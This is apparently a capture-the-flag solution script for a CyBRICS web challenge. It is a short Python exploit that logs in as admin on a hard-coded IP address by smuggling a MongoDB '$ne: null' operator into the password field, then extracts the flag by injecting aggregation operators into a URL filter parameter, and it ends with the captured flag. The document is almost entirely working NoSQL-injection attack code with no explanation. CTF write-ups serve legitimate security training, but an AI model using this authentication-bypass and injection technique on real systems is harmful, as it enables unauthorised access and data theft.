Rating: 1.0

```python
import requests

s = requests.Session()

data = {
'username':'admin',
'password':'","password":{"$ne":null},"username":"admin'
}

#login
response = s.post('http://173.199.118.226/index.php', data=data)

#flag
response = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data)
print(bytes(response.content).decode())
```

flag: cybrics{7|-|15 15 4 7E><7 |=|_49}